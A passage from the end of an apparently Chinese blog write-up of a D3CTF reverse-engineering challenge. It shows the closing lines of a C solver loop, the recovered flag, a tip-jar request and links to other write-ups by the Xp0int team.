30) ^ (unsigned int)v3) - 5; *(uint64_t *)(weird + 8 * v4++) = v3; } while ( v4 != 629 ); *(uint64_t *)(weird + 5032) = 0; for(int i=0;i<1608;i++){ run(weird, hit[i] & 0xff); } for(int i=0;i<32;i++){ printf("%d, ", weird[i]); } } ``` FLAG : D3CTF{Gb78e-7b04-4364-82d2-7f44} 打赏还是打残,这是个问题 赏 Wechat Pay Alipay 2022 虎符网络安全赛道部分题目 Writeup By Xp0int 2021 暨南大学 Xp0int 杯网络安全大赛 Writeup
没有帐号? 立即注册